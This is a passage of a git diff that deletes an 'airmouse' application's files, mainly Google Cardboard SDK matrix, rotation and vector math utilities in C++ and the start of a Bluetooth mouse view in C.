180.0f) * zNear; - const float xRight = std::tan(fov[1] * M_PI / 180.0f) * zNear; - const float yBottom = -std::tan(fov[2] * M_PI / 180.0f) * zNear; - const float yTop = std::tan(fov[3] * M_PI / 180.0f) * zNear; - - const float X = (2 * zNear) / (xRight - xLeft); - const float Y = (2 * zNear) / (yTop - yBottom); - const float A = (xRight + xLeft) / (xRight - xLeft); - const float B = (yTop + yBottom) / (yTop - yBottom); - const float C = (zNear + zFar) / (zNear - zFar); - const float D = (2 * zNear * zFar) / (zNear - zFar); - - ret.m[0][0] = X; - ret.m[2][0] = A; - ret.m[1][1] = Y; - ret.m[2][1] = B; - ret.m[2][2] = C; - ret.m[3][2] = D; - ret.m[2][3] = -1; - - return ret; -} - -void Matrix4x4::ToArray(float* array) const { std::memcpy(array, &m[0][0], 16 * sizeof(float)); } - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/util/matrix_4x4.h b/applications/external/airmouse/tracking/util/matrix_4x4.h deleted file mode 100644 index 83f151fc4..000000000 --- a/applications/external/airmouse/tracking/util/matrix_4x4.h +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_MATRIX_4X4_H_ -#define CARDBOARD_SDK_UTIL_MATRIX_4X4_H_ - -#include - -namespace cardboard { - -class Matrix4x4 { -public: - static Matrix4x4 Identity(); - static Matrix4x4 Zeros(); - static Matrix4x4 Translation(float x, float y, float z); - static Matrix4x4 Perspective(const std::array& fov, float zNear, float zFar); - void ToArray(float* array) const; - -private: - std::array, 4> m; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_MATRIX_4X4_H_ diff --git a/applications/external/airmouse/tracking/util/matrixutils.cc b/applications/external/airmouse/tracking/util/matrixutils.cc deleted file mode 100644 index 12470beae..000000000 --- a/applications/external/airmouse/tracking/util/matrixutils.cc +++ /dev/null @@ -1,148 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "matrixutils.h" - -#include "vectorutils.h" - -namespace cardboard { - -namespace { - - // Returns true if the cofactor for a given row and column should be negated. - static bool IsCofactorNegated(int row, int col) - { - // Negated iff (row + col) is odd. - return ((row + col) & 1) != 0; - } - - static double CofactorElement3(const Matrix3x3& m, int row, int col) - { - static const int index[3][2] = { { 1, 2 }, { 0, 2 }, { 0, 1 } }; - const int i0 = index[row][0]; - const int i1 = index[row][1]; - const int j0 = index[col][0]; - const int j1 = index[col][1]; - const double cofactor = m(i0, j0) * m(i1, j1) - m(i0, j1) * m(i1, j0); - return IsCofactorNegated(row, col) ? -cofactor : cofactor; - } - - // Multiplies a matrix and some type of column vector to - // produce another column vector of the same type. - Vector3 MultiplyMatrixAndVector(const Matrix3x3& m, const Vector3& v) - { - Vector3 result = Vector3::Zero(); - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result[row] += m(row, col) * v[col]; - } - return result; - } - - // Sets the upper 3x3 of a Matrix to represent a 3D rotation. - void RotationMatrix3x3(const Rotation& r, Matrix3x3* matrix) - { - // - // Given a quaternion (a,b,c,d) where d is the scalar part, the 3x3 rotation - // matrix is: - // - // a^2 - b^2 - c^2 + d^2 2ab - 2cd 2ac + 2bd - // 2ab + 2cd -a^2 + b^2 - c^2 + d^2 2bc - 2ad - // 2ac - 2bd 2bc + 2ad -a^2 - b^2 + c^2 + d^2 - // - const Vector<4>& quat = r.GetQuaternion(); - const double aa = quat[0] * quat[0]; - const double bb = quat[1] * quat[1]; - const double cc = quat[2] * quat[2]; - const double dd = quat[3] * quat[3]; - - const double ab = quat[0] * quat[1]; - const double ac = quat[0] * quat[2]; - const double bc = quat[1] * quat[2]; - - const double ad = quat[0] * quat[3]; - const double bd = quat[1] * quat[3]; - const double cd = quat[2] * quat[3]; - - Matrix3x3& m = *matrix; - m[0][0] = aa - bb - cc + dd; - m[0][1] = 2 * ab - 2 * cd; - m[0][2] = 2 * ac + 2 * bd; - m[1][0] = 2 * ab + 2 * cd; - m[1][1] = -aa + bb - cc + dd; - m[1][2] = 2 * bc - 2 * ad; - m[2][0] = 2 * ac - 2 * bd; - m[2][1] = 2 * bc + 2 * ad; - m[2][2] = -aa - bb + cc + dd; - } - -} // anonymous namespace - -Vector3 operator*(const Matrix3x3& m, const Vector3& v) { return MultiplyMatrixAndVector(m, v); } - -Matrix3x3 CofactorMatrix(const Matrix3x3& m) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result(row, col) = CofactorElement3(m, row, col); - } - return result; -} - -Matrix3x3 AdjugateWithDeterminant(const Matrix3x3& m, double* determinant) -{ - const Matrix3x3 cofactor_matrix = CofactorMatrix(m); - if (determinant) { - *determinant = m(0, 0) * cofactor_matrix(0, 0) + m(0, 1) * cofactor_matrix(0, 1) - + m(0, 2) * cofactor_matrix(0, 2); - } - return Transpose(cofactor_matrix); -} - -// Returns the transpose of a matrix. -Matrix3x3 Transpose(const Matrix3x3& m) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result(row, col) = m(col, row); - } - return result; -} - -Matrix3x3 InverseWithDeterminant(const Matrix3x3& m, double* determinant) -{ - // The inverse is the adjugate divided by the determinant. - double det; - Matrix3x3 adjugate = AdjugateWithDeterminant(m, &det); - if (determinant) - *determinant = det; - if (det == 0) - return Matrix3x3::Zero(); - else - return adjugate * (1 / det); -} - -Matrix3x3 Inverse(const Matrix3x3& m) { return InverseWithDeterminant(m, nullptr); } - -Matrix3x3 RotationMatrixNH(const Rotation& r) -{ - Matrix3x3 m; - RotationMatrix3x3(r, &m); - return m; -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/util/matrixutils.h b/applications/external/airmouse/tracking/util/matrixutils.h deleted file mode 100644 index 80f9b2168..000000000 --- a/applications/external/airmouse/tracking/util/matrixutils.h +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_MATRIXUTILS_H_ -#define CARDBOARD_SDK_UTIL_MATRIXUTILS_H_ - -// -// This file contains operators and free functions that define generic Matrix -// operations. -// - -#include "matrix_3x3.h" -#include "rotation.h" -#include "vector.h" - -namespace cardboard { - -// Returns the transpose of a matrix. -Matrix3x3 Transpose(const Matrix3x3& m); - -// Multiplies a Matrix and a column Vector of the same Dimension to produce -// another column Vector. -Vector3 operator*(const Matrix3x3& m, const Vector3& v); - -// Returns the determinant of the matrix. This function is defined for all the -// typedef'ed Matrix types. -double Determinant(const Matrix3x3& m); - -// Returns the adjugate of the matrix, which is defined as the transpose of the -// cofactor matrix. This function is defined for all the typedef'ed Matrix -// types. The determinant of the matrix is computed as a side effect, so it is -// returned in the determinant parameter if it is not null. -Matrix3x3 AdjugateWithDeterminant(const Matrix3x3& m, double* determinant); - -// Returns the inverse of the matrix. This function is defined for all the -// typedef'ed Matrix types. The determinant of the matrix is computed as a -// side effect, so it is returned in the determinant parameter if it is not -// null. If the determinant is 0, the returned matrix has all zeroes. -Matrix3x3 InverseWithDeterminant(const Matrix3x3& m, double* determinant); - -// Returns the inverse of the matrix. This function is defined for all the -// typedef'ed Matrix types. If the determinant of the matrix is 0, the returned -// matrix has all zeroes. -Matrix3x3 Inverse(const Matrix3x3& m); - -// Returns a 3x3 Matrix representing a 3D rotation. This creates a Matrix that -// does not work with homogeneous coordinates, so the function name ends in -// "NH". -Matrix3x3 RotationMatrixNH(const Rotation& r); - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_MATRIXUTILS_H_ diff --git a/applications/external/airmouse/tracking/util/rotation.cc b/applications/external/airmouse/tracking/util/rotation.cc deleted file mode 100644 index 5c3d09a2b..000000000 --- a/applications/external/airmouse/tracking/util/rotation.cc +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "rotation.h" - -#include -#include - -#include "vectorutils.h" - -namespace cardboard { - -void Rotation::SetAxisAndAngle(const VectorType& axis, double angle) -{ - VectorType unit_axis = axis; - if (!Normalize(&unit_axis)) { - *this = Identity(); - } else { - double a = angle / 2; - const double s = sin(a); - const VectorType v(unit_axis * s); - SetQuaternion(QuaternionType(v[0], v[1], v[2], cos(a))); - } -} - -Rotation Rotation::FromRotationMatrix(const Matrix3x3& mat) -{ - static const double kOne = 1.0; - static const double kFour = 4.0; - - const double d0 = mat(0, 0), d1 = mat(1, 1), d2 = mat(2, 2); - const double ww = kOne + d0 + d1 + d2; - const double xx = kOne + d0 - d1 - d2; - const double yy = kOne - d0 + d1 - d2; - const double zz = kOne - d0 - d1 + d2; - - const double max = std::max(ww, std::max(xx, std::max(yy, zz))); - if (ww == max) { - const double w4 = sqrt(ww * kFour); - return Rotation::FromQuaternion(QuaternionType((mat(2, 1) - mat(1, 2)) / w4, - (mat(0, 2) - mat(2, 0)) / w4, (mat(1, 0) - mat(0, 1)) / w4, w4 / kFour)); - } - - if (xx == max) { - const double x4 = sqrt(xx * kFour); - return Rotation::FromQuaternion(QuaternionType(x4 / kFour, (mat(0, 1) + mat(1, 0)) / x4, - (mat(0, 2) + mat(2, 0)) / x4, (mat(2, 1) - mat(1, 2)) / x4)); - } - - if (yy == max) { - const double y4 = sqrt(yy * kFour); - return Rotation::FromQuaternion(QuaternionType((mat(0, 1) + mat(1, 0)) / y4, y4 / kFour, - (mat(1, 2) + mat(2, 1)) / y4, (mat(0, 2) - mat(2, 0)) / y4)); - } - - // zz is the largest component. - const double z4 = sqrt(zz * kFour); - return Rotation::FromQuaternion(QuaternionType((mat(0, 2) + mat(2, 0)) / z4, - (mat(1, 2) + mat(2, 1)) / z4, z4 / kFour, (mat(1, 0) - mat(0, 1)) / z4)); -} - -void Rotation::GetAxisAndAngle(VectorType* axis, double* angle) const -{ - VectorType vec(quat_[0], quat_[1], quat_[2]); - if (Normalize(&vec)) { - *angle = 2 * acos(quat_[3]); - *axis = vec; - } else { - *axis = VectorType(1, 0, 0); - *angle = 0.0; - } -} - -Rotation Rotation::RotateInto(const VectorType& from, const VectorType& to) -{ - static const double kTolerance = std::numeric_limits::epsilon() * 100; - - // Directly build the quaternion using the following technique: - // http://lolengine.net/blog/2014/02/24/quaternion-from-two-vectors-final - const double norm_u_norm_v = sqrt(LengthSquared(from) * LengthSquared(to)); - double real_part = norm_u_norm_v + Dot(from, to); - VectorType w; - if (real_part < kTolerance * norm_u_norm_v) { - // If |from| and |to| are exactly opposite, rotate 180 degrees around an - // arbitrary orthogonal axis. Axis normalization can happen later, when we - // normalize the quaternion. - real_part = 0.0; - w = (abs(from[0]) > abs(from[2])) ? VectorType(-from[1], from[0], 0) - : VectorType(0, -from[2], from[1]); - } else { - // Otherwise, build the quaternion the standard way. - w = Cross(from, to); - } - - // Build and return a normalized quaternion. - // Note that Rotation::FromQuaternion automatically performs normalization. - return Rotation::FromQuaternion(QuaternionType(w[0], w[1], w[2], real_part)); -} - -Rotation::VectorType Rotation::operator*(const Rotation::VectorType& v) const -{ - return ApplyToVector(v); -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/util/rotation.h b/applications/external/airmouse/tracking/util/rotation.h deleted file mode 100644 index 8730cb3b0..000000000 --- a/applications/external/airmouse/tracking/util/rotation.h +++ /dev/null @@ -1,156 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_ROTATION_H_ -#define CARDBOARD_SDK_UTIL_ROTATION_H_ - -#include "matrix_3x3.h" -#include "vector.h" -#include "vectorutils.h" - -namespace cardboard { - -// The Rotation class represents a rotation around a 3-dimensional axis. It -// uses normalized quaternions internally to make the math robust. -class Rotation { -public: - // Convenience typedefs for vector of the correct type. - typedef Vector<3> VectorType; - typedef Vector<4> QuaternionType; - - // The default constructor creates an identity Rotation, which has no effect. - Rotation() { - quat_.Set(0, 0, 0, 1); - } - - // Returns an identity Rotation, which has no effect. - static Rotation Identity() { - return Rotation(); - } - - // Sets the Rotation from a quaternion (4D vector), which is first normalized. - void SetQuaternion(const QuaternionType& quaternion) { - quat_ = Normalized(quaternion); - } - - // Returns the Rotation as a normalized quaternion (4D vector). - const QuaternionType& GetQuaternion() const { - return quat_; - } - - // Sets the Rotation to rotate by the given angle around the given axis, - // following the right-hand rule. The axis does not need to be unit - // length. If it is zero length, this results in an identity Rotation. - void SetAxisAndAngle(const VectorType& axis, double angle); - - // Returns the right-hand rule axis and angle corresponding to the - // Rotation. If the Rotation is the identity rotation, this returns the +X - // axis and an angle of 0. - void GetAxisAndAngle(VectorType* axis, double* angle) const; - - // Convenience function that constructs and returns a Rotation given an axis - // and angle. - static Rotation FromAxisAndAngle(const VectorType& axis, double angle) { - Rotation r; - r.SetAxisAndAngle(axis, angle); - return r; - } - - // Convenience function that constructs and returns a Rotation given a - // quaternion. - static Rotation FromQuaternion(const QuaternionType& quat) { - Rotation r; - r.SetQuaternion(quat); - return r; - } - - // Convenience function that constructs and returns a Rotation given a - // rotation matrix R with $R^\top R = I && det(R) = 1$. - static Rotation FromRotationMatrix(const Matrix3x3& mat); - - // Convenience function that constructs and returns a Rotation given Euler - // angles that are applied in the order of rotate-Z by roll, rotate-X by - // pitch, rotate-Y by yaw (same as GetRollPitchYaw). - static Rotation FromRollPitchYaw(double roll, double pitch, double yaw) { - VectorType x(1, 0, 0), y(0, 1, 0), z(0, 0, 1); - return FromAxisAndAngle(z, roll) * (FromAxisAndAngle(x, pitch) * FromAxisAndAngle(y, yaw)); - } - - // Convenience function that constructs and returns a Rotation given Euler - // angles that are applied in the order of rotate-Y by yaw, rotate-X by - // pitch, rotate-Z by roll (same as GetYawPitchRoll). - static Rotation FromYawPitchRoll(double yaw, double pitch, double roll) { - VectorType x(1, 0, 0), y(0, 1, 0), z(0, 0, 1); - return FromAxisAndAngle(y, yaw) * (FromAxisAndAngle(x, pitch) * FromAxisAndAngle(z, roll)); - } - - // Constructs and returns a Rotation that rotates one vector to another along - // the shortest arc. This returns an identity rotation if either vector has - // zero length. - static Rotation RotateInto(const VectorType& from, const VectorType& to); - - // The negation operator returns the inverse rotation. - friend Rotation operator-(const Rotation& r) { - // Because we store normalized quaternions, the inverse is found by - // negating the vector part. - return Rotation(-r.quat_[0], -r.quat_[1], -r.quat_[2], r.quat_[3]); - } - - // Appends a rotation to this one. - Rotation& operator*=(const Rotation& r) { - const QuaternionType& qr = r.quat_; - QuaternionType& qt = quat_; - SetQuaternion(QuaternionType( - qr[3] * qt[0] + qr[0] * qt[3] + qr[2] * qt[1] - qr[1] * qt[2], - qr[3] * qt[1] + qr[1] * qt[3] + qr[0] * qt[2] - qr[2] * qt[0], - qr[3] * qt[2] + qr[2] * qt[3] + qr[1] * qt[0] - qr[0] * qt[1], - qr[3] * qt[3] - qr[0] * qt[0] - qr[1] * qt[1] - qr[2] * qt[2])); - return *this; - } - - // Binary multiplication operator - returns a composite Rotation. - friend const Rotation operator*(const Rotation& r0, const Rotation& r1) { - Rotation r = r0; - r *= r1; - return r; - } - - // Multiply a Rotation and a Vector to get a Vector. - VectorType operator*(const VectorType& v) const; - -private: - // Private constructor that builds a Rotation from quaternion components. - Rotation(double q0, double q1, double q2, double q3) - : quat_(q0, q1, q2, q3) { - } - - // Applies a Rotation to a Vector to rotate the Vector. Method borrowed from: - // http://blog.molecular-matters.com/2013/05/24/a-faster-quaternion-vector-multiplication/ - VectorType ApplyToVector(const VectorType& v) const { - VectorType im(quat_[0], quat_[1], quat_[2]); - VectorType temp = 2.0 * Cross(im, v); - return v + quat_[3] * temp + Cross(im, temp); - } - - // The rotation represented as a normalized quaternion. (Unit quaternions are - // required for constructing rotation matrices, so it makes sense to always - // store them that way.) The vector part is in the first 3 elements, and the - // scalar part is in the last element. - QuaternionType quat_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_ROTATION_H_ diff --git a/applications/external/airmouse/tracking/util/vector.h b/applications/external/airmouse/tracking/util/vector.h deleted file mode 100644 index 64c4f2546..000000000 --- a/applications/external/airmouse/tracking/util/vector.h +++ /dev/null @@ -1,251 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_VECTOR_H_ -#define CARDBOARD_SDK_UTIL_VECTOR_H_ - -#include - -namespace cardboard { - -// Geometric N-dimensional Vector class. -template -class Vector { -public: - // The default constructor zero-initializes all elements. - Vector(); - - // Dimension-specific constructors that are passed individual element values. - constexpr Vector(double e0, double e1, double e2); - constexpr Vector(double e0, double e1, double e2, double e3); - - // Constructor for a Vector of dimension N from a Vector of dimension N-1 and - // a scalar of the correct type, assuming N is at least 2. - // constexpr Vector(const Vector& v, double s); - - void Set(double e0, double e1, double e2); // Only when Dimension == 3. - void Set(double e0, double e1, double e2, - double e3); // Only when Dimension == 4. - - // Mutable element accessor. - double& operator[](int index) { - return elem_[index]; - } - - // Element accessor. - double operator[](int index) const { - return elem_[index]; - } - - // Returns a Vector containing all zeroes. - static Vector Zero(); - - // Self-modifying operators. - void operator+=(const Vector& v) { - Add(v); - } - void operator-=(const Vector& v) { - Subtract(v); - } - void operator*=(double s) { - Multiply(s); - } - void operator/=(double s) { - Divide(s); - } - - // Unary negation operator. - Vector operator-() const { - return Negation(); - } - - // Binary operators. - friend Vector operator+(const Vector& v0, const Vector& v1) { - return Sum(v0, v1); - } - friend Vector operator-(const Vector& v0, const Vector& v1) { - return Difference(v0, v1); - } - friend Vector operator*(const Vector& v, double s) { - return Scale(v, s); - } - friend Vector operator*(double s, const Vector& v) { - return Scale(v, s); - } - friend Vector operator*(const Vector& v, const Vector& s) { - return Product(v, s); - } - friend Vector operator/(const Vector& v, double s) { - return Divide(v, s); - } - - // Self-modifying addition. - void Add(const Vector& v); - // Self-modifying subtraction. - void Subtract(const Vector& v); - // Self-modifying multiplication by a scalar. - void Multiply(double s); - // Self-modifying division by a scalar. - void Divide(double s); - - // Unary negation. - Vector Negation() const; - - // Binary component-wise multiplication. - static Vector Product(const Vector& v0, const Vector& v1); - // Binary component-wise addition. - static Vector Sum(const Vector& v0, const Vector& v1); - // Binary component-wise subtraction. - static Vector Difference(const Vector& v0, const Vector& v1); - // Binary multiplication by a scalar. - static Vector Scale(const Vector& v, double s); - // Binary division by a scalar. - static Vector Divide(const Vector& v, double s); - -private: - std::array elem_; -}; -//------------------------------------------------------------------------------ - -template -Vector::Vector() { - for(int i = 0; i < Dimension; i++) { - elem_[i] = 0; - } -} - -template -constexpr Vector::Vector(double e0, double e1, double e2) - : elem_{e0, e1, e2} { -} - -template -constexpr Vector::Vector(double e0, double e1, double e2, double e3) - : elem_{e0, e1, e2, e3} { -} -/* -template <> -constexpr Vector<4>::Vector(const Vector<3>& v, double s) - : elem_{v[0], v[1], v[2], s} {} -*/ -template -void Vector::Set(double e0, double e1, double e2) { - elem_[0] = e0; - elem_[1] = e1; - elem_[2] = e2; -} - -template -void Vector::Set(double e0, double e1, double e2, double e3) { - elem_[0] = e0; - elem_[1] = e1; - elem_[2] = e2; - elem_[3] = e3; -} - -template -Vector Vector::Zero() { - Vector v; - return v; -} - -template -void Vector::Add(const Vector& v) { - for(int i = 0; i < Dimension; i++) { - elem_[i] += v[i]; - } -} - -template -void Vector::Subtract(const Vector& v) { - for(int i = 0; i < Dimension; i++) { - elem_[i] -= v[i]; - } -} - -template -void Vector::Multiply(double s) { - for(int i = 0; i < Dimension; i++) { - elem_[i] *= s; - } -} - -template -void Vector::Divide(double s) { - for(int i = 0; i < Dimension; i++) { - elem_[i] /= s; - } -} - -template -Vector Vector::Negation() const { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = -elem_[i]; - } - return ret; -} - -template -Vector Vector::Product(const Vector& v0, const Vector& v1) { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = v0[i] * v1[i]; - } - return ret; -} - -template -Vector Vector::Sum(const Vector& v0, const Vector& v1) { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = v0[i] + v1[i]; - } - return ret; -} - -template -Vector Vector::Difference(const Vector& v0, const Vector& v1) { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = v0[i] - v1[i]; - } - return ret; -} - -template -Vector Vector::Scale(const Vector& v, double s) { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = v[i] * s; - } - return ret; -} - -template -Vector Vector::Divide(const Vector& v, double s) { - Vector ret; - for(int i = 0; i < Dimension; i++) { - ret.elem_[i] = v[i] / s; - } - return ret; -} - -typedef Vector<3> Vector3; -typedef Vector<4> Vector4; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_VECTOR_H_ diff --git a/applications/external/airmouse/tracking/util/vectorutils.cc b/applications/external/airmouse/tracking/util/vectorutils.cc deleted file mode 100644 index b8f419c04..000000000 --- a/applications/external/airmouse/tracking/util/vectorutils.cc +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "vectorutils.h" - -namespace cardboard { - -// Returns the dot (inner) product of two Vectors. -double Dot(const Vector<3>& v0, const Vector<3>& v1) -{ - return v0[0] * v1[0] + v0[1] * v1[1] + v0[2] * v1[2]; -} - -// Returns the dot (inner) product of two Vectors. -double Dot(const Vector<4>& v0, const Vector<4>& v1) -{ - return v0[0] * v1[0] + v0[1] * v1[1] + v0[2] * v1[2] + v0[3] * v1[3]; -} - -// Returns the 3-dimensional cross product of 2 Vectors. Note that this is -// defined only for 3-dimensional Vectors. -Vector<3> Cross(const Vector<3>& v0, const Vector<3>& v1) -{ - return Vector<3>(v0[1] * v1[2] - v0[2] * v1[1], v0[2] * v1[0] - v0[0] * v1[2], - v0[0] * v1[1] - v0[1] * v1[0]); -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/util/vectorutils.h b/applications/external/airmouse/tracking/util/vectorutils.h deleted file mode 100644 index 054236713..000000000 --- a/applications/external/airmouse/tracking/util/vectorutils.h +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_VECTORUTILS_H_ -#define CARDBOARD_SDK_UTIL_VECTORUTILS_H_ - -// -// This file contains free functions that operate on Vector instances. -// - -#include - -#include "vector.h" - -namespace cardboard { - -// Returns the dot (inner) product of two Vectors. -double Dot(const Vector<3>& v0, const Vector<3>& v1); - -// Returns the dot (inner) product of two Vectors. -double Dot(const Vector<4>& v0, const Vector<4>& v1); - -// Returns the 3-dimensional cross product of 2 Vectors. Note that this is -// defined only for 3-dimensional Vectors. -Vector<3> Cross(const Vector<3>& v0, const Vector<3>& v1); - -// Returns the square of the length of a Vector. -template -double LengthSquared(const Vector& v) { - return Dot(v, v); -} - -// Returns the geometric length of a Vector. -template -double Length(const Vector& v) { - return sqrt(LengthSquared(v)); -} - -// the Vector untouched and returns false. -template -bool Normalize(Vector* v) { - const double len = Length(*v); - if(len == 0) { - return false; - } else { - (*v) /= len; - return true; - } -} - -// Returns a unit-length version of a Vector. If the given Vector has no -// length, this returns a Zero() Vector. -template -Vector Normalized(const Vector& v) { - Vector result = v; - if(Normalize(&result)) - return result; - else - return Vector::Zero(); -} - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_VECTORUTILS_H_ diff --git a/applications/external/airmouse/views/bt_mouse.c b/applications/external/airmouse/views/bt_mouse.c deleted file mode 100644 index 664b25bfd..000000000 --- a/applications/external/airmouse/views/bt_mouse.c +++ /dev/null @@ -1,314 +0,0 @@ -#include "bt_mouse.h" -#include "../tracking/main_loop.h" - -#include -#include -#include -#include -#include -#include -#include -#include - -typedef struct ButtonEvent { - int8_t button; - bool state; -} ButtonEvent; - -#define BTN_EVT_QUEUE_SIZE 32 - -struct BtMouse { - View* view; - ViewDispatcher* view_dispatcher; - Bt* bt; - NotificationApp* notifications; - FuriMutex* mutex; - FuriThread* thread; - bool connected; - - // Current mouse state - uint8_t btn; - int dx; - int dy; - int wheel; - - // Circular buffer; - // (qhead == qtail) means either empty or overflow. - // We'll ignore overflow and treat it as empty. - int qhead; - int qtail; - ButtonEvent queue[BTN_EVT_QUEUE_SIZE]; -}; - -#define BT_MOUSE_FLAG_INPUT_EVENT (1UL << 0) -#define BT_MOUSE_FLAG_KILL_THREAD (1UL << 1) -#define BT_MOUSE_FLAG_ALL (BT_MOUSE_FLAG_INPUT_EVENT | BT_MOUSE_FLAG_KILL_THREAD) - -#define MOUSE_SCROLL 2 - -static void bt_mouse_notify_event(BtMouse* bt_mouse) { - FuriThreadId thread_id = furi_thread_get_id(bt_mouse->thread); - furi_assert(thread_id); - furi_thread_flags_set(thread_id, BT_MOUSE_FLAG_INPUT_EVENT); -} - -static void bt_mouse_draw_callback(Canvas* canvas, void* context) { - UNUSED(context); - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, "Bluetooth Mouse mode"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 63, "Hold [back] to exit"); -} - -static void bt_mouse_button_state(BtMouse* bt_mouse, int8_t button, bool state) { - ButtonEvent event; - event.button = button; - event.state = state; - - if(bt_mouse->connected) { - furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever); - bt_mouse->queue[bt_mouse->qtail++] = event; - bt_mouse->qtail %= BTN_EVT_QUEUE_SIZE; - furi_mutex_release(bt_mouse->mutex); - bt_mouse_notify_event(bt_mouse); - } -} - -static void bt_mouse_process(BtMouse* bt_mouse, InputEvent* event) { - with_view_model( - bt_mouse->view, - void* model, - { - UNUSED(model); - if(event->key == InputKeyUp) { - if(event->type == InputTypePress) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_LEFT, true); - } else if(event->type == InputTypeRelease) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_LEFT, false); - } - } else if(event->key == InputKeyDown) { - if(event->type == InputTypePress) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_RIGHT, true); - } else if(event->type == InputTypeRelease) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_RIGHT, false); - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypePress) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_WHEEL, true); - } else if(event->type == InputTypeRelease) { - bt_mouse_button_state(bt_mouse, HID_MOUSE_BTN_WHEEL, false); - } - } else if(event->key == InputKeyRight) { - if(event->type == InputTypePress || event->type == InputTypeRepeat) { - 